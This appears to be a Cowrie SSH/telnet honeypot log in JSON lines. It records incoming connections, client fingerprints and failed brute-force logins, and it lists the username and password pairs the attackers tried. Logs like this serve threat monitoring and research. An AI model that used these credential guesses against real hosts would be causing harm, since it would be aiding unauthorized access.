{"eventid":"cowrie.login.failed","username":"jaxx","password":"S3cur3$P@ss!W0rd@","message":"login attempt [jaxx/S3cur3$P@ss!W0rd@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:22.297808Z","src_ip":"162.144.249.8","session":"f772e65d1880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:23.325804Z","src_ip":"162.144.249.8","session":"f772e65d1880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:37.051612Z","src_ip":"8.210.75.243","session":"079b46a08781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34208,"dst_ip":"10.17.0.5","dst_port":22,"session":"487140204f41","protocol":"ssh","message":"New connection: 91.92.40.4:34208 (10.17.0.5:22) [session: 487140204f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:42.451307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:42.455337Z","src_ip":"91.92.40.4","session":"487140204f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:42.535640Z","src_ip":"91.92.40.4","session":"487140204f41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"test123","message":"login attempt [git/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:42.780980Z","src_ip":"91.92.40.4","session":"487140204f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:43.863421Z","src_ip":"91.92.40.4","session":"487140204f41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":50044,"dst_ip":"159.203.135.109","dst_port":22,"session":"346b9317f96b","protocol":"ssh","message":"New connection: 162.241.239.202:50044 (159.203.135.109:22) [session: 346b9317f96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:45.646211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:45.653265Z","src_ip":"162.241.239.202","session":"346b9317f96b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:45.678230Z","src_ip":"162.241.239.202","session":"346b9317f96b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B33fy#S3cur3!W0rd","message":"login attempt [root/B33fy#S3cur3!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:45.753947Z","src_ip":"162.241.239.202","session":"346b9317f96b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:46.780533Z","src_ip":"162.241.239.202","session":"346b9317f96b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:47.406685Z","src_ip":"8.210.75.243","session":"3357955dae9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":36054,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ab003f99c97","protocol":"ssh","message":"New connection: 162.240.35.200:36054 (159.203.135.109:22) [session: 8ab003f99c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:07.864622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:07.869071Z","src_ip":"162.240.35.200","session":"8ab003f99c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:07.951154Z","src_ip":"162.240.35.200","session":"8ab003f99c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"H3d3r@$M@st3r@P@ss","message":"login attempt [root/H3d3r@$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:08.198909Z","src_ip":"162.240.35.200","session":"8ab003f99c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:09.286238Z","src_ip":"162.240.35.200","session":"8ab003f99c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":54172,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6566e6cc248","protocol":"ssh","message":"New connection: 103.149.28.157:54172 (10.17.0.5:22) [session: a6566e6cc248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:10.901967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:10.905805Z","src_ip":"103.149.28.157","session":"a6566e6cc248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:11.161010Z","src_ip":"103.149.28.157","session":"a6566e6cc248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lera1994","message":"login attempt [root/lera1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:11.925771Z","src_ip":"103.149.28.157","session":"a6566e6cc248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:13.182693Z","src_ip":"103.149.28.157","session":"a6566e6cc248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":38204,"dst_ip":"159.203.135.109","dst_port":22,"session":"96a5dfecb80a","protocol":"ssh","message":"New connection: 87.251.79.125:38204 (159.203.135.109:22) [session: 96a5dfecb80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:29.196867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:29.200723Z","src_ip":"87.251.79.125","session":"96a5dfecb80a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:29.270935Z","src_ip":"87.251.79.125","session":"96a5dfecb80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfycfysx","message":"login attempt [root/cfycfysx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:29.484408Z","src_ip":"87.251.79.125","session":"96a5dfecb80a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:30.560623Z","src_ip":"87.251.79.125","session":"96a5dfecb80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"b03bcc9c7f87","protocol":"ssh","message":"New connection: 8.210.75.243:60796 (10.17.0.5:22) [session: b03bcc9c7f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:35.750877Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:38.897042Z","src_ip":"8.210.75.243","session":"e515264e49db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":11974,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07aaff2b69b","protocol":"telnet","message":"New connection: 34.14.96.221:11974 (10.17.0.5:23) [session: f07aaff2b69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:40.344516Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":11988,"dst_ip":"10.17.0.5","dst_port":23,"session":"f621d14e374f","protocol":"telnet","message":"New connection: 34.14.96.221:11988 (10.17.0.5:23) [session: f621d14e374f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:40.499824Z"}
{"eventid":"cowrie.session.closed","duration":0.004302263259887695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:40.504020Z","src_ip":"34.14.96.221","session":"f621d14e374f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":12000,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9800b91e659","protocol":"telnet","message":"New connection: 34.14.96.221:12000 (10.17.0.5:23) [session: f9800b91e659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:40.655979Z"}
{"eventid":"cowrie.session.closed","duration":4.382934808731079,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:44.727319Z","src_ip":"34.14.96.221","session":"f07aaff2b69b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":36424,"dst_ip":"10.17.0.5","dst_port":22,"session":"15697e17db27","protocol":"ssh","message":"New connection: 103.27.238.114:36424 (10.17.0.5:22) [session: 15697e17db27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:49.449329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:49.454608Z","src_ip":"103.27.238.114","session":"15697e17db27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:49.717268Z","src_ip":"103.27.238.114","session":"15697e17db27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grigorenko","message":"login attempt [root/grigorenko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:50.506410Z","src_ip":"103.27.238.114","session":"15697e17db27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55086,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b19cf5ed586","protocol":"telnet","message":"New connection: 170.64.224.25:55086 (159.203.135.109:23) [session: 7b19cf5ed586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:50.795387Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:51.772213Z","src_ip":"103.27.238.114","session":"15697e17db27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":49024,"dst_ip":"159.203.135.109","dst_port":22,"session":"5244505cdf94","protocol":"ssh","message":"New connection: 159.65.58.200:49024 (159.203.135.109:22) [session: 5244505cdf94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:52.006449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:52.219439Z","src_ip":"159.65.58.200","session":"5244505cdf94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:52.222392Z","src_ip":"159.65.58.200","session":"5244505cdf94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svm","password":"123456","message":"login attempt [svm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:53.493674Z","src_ip":"159.65.58.200","session":"5244505cdf94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:54.718321Z","src_ip":"159.65.58.200","session":"5244505cdf94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5302,"dst_ip":"10.17.0.5","dst_port":23,"session":"26e4adcfc23f","protocol":"telnet","message":"New connection: 34.14.96.221:5302 (10.17.0.5:23) [session: 26e4adcfc23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:59.811475Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:59.816797Z","src_ip":"34.14.96.221","session":"26e4adcfc23f","protocol":"telnet"}
